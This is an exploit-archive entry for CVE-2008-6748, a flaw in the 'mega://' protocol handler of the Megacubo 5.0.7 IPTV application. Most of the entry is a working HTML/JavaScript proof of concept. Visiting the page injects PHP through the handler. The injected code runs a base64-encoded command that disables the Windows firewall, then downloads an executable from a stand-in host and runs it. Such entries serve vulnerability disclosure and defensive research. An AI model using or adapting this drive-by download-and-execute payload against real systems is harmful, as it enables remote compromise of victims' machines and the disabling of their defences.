Megacubo 5.0.7 - 'mega://' Arbitrary File Download and Execute

Author: JJunior
type: remote
platform: windows
port: 
date_added: 2008-12-31 
date_updated: 2016-11-03 
verified: 1 
codes: CVE-2008-6748;OSVDB-51106 
tags: 
aliases:  
screenshot_url:  
application_url:

Megacubo 5.0.7 download & Execute
by :JJunior
site: http://www.musicastop.com.br/

tested against Internet Explorer 7 and Mozilla Firefox  1.5  Windows Xp sp 3

software site: http://www.megacubo.net/tv/
download url: http://sourceforge.net/project/showfiles.php?group_id=231636&package_id=280849&release_id=608023

description:
"Megacubo is a IPTV tuner application written in PHP + Winbinder.
It has a catalogue of links of TV streams which are available
for free in the web. At the moment it only runs on Windows(2000,
XP and Vista)."

example exploit, download & Execute :


<html>
<head>
<title>MegaCubo - download & Execute</title>
<meta http-equiv="Content-Type" content="text/html; ">
</head>
<body>
<script>
// url download & exec code evil
evil = 'http://www.example.com/evil.exe';

// disable firewall  encode base_64
firewall = 'bmV0c2ggZmlyZXdhbGwgc2V0IG9wbW9kZSBtb2RlID0gZGlzYWJsZQ==';

shellcode = 'mega://play|con.."a()".system(base64_decode("'+firewall+'")).fputs(fopen("c:/Megacubo.exe","w"),file_get_contents("'+evil+'")).system("C:/Megacubo.exe")."/?");print(';

// shell code
window.location=shellcode;

</script>
</body>
</html>

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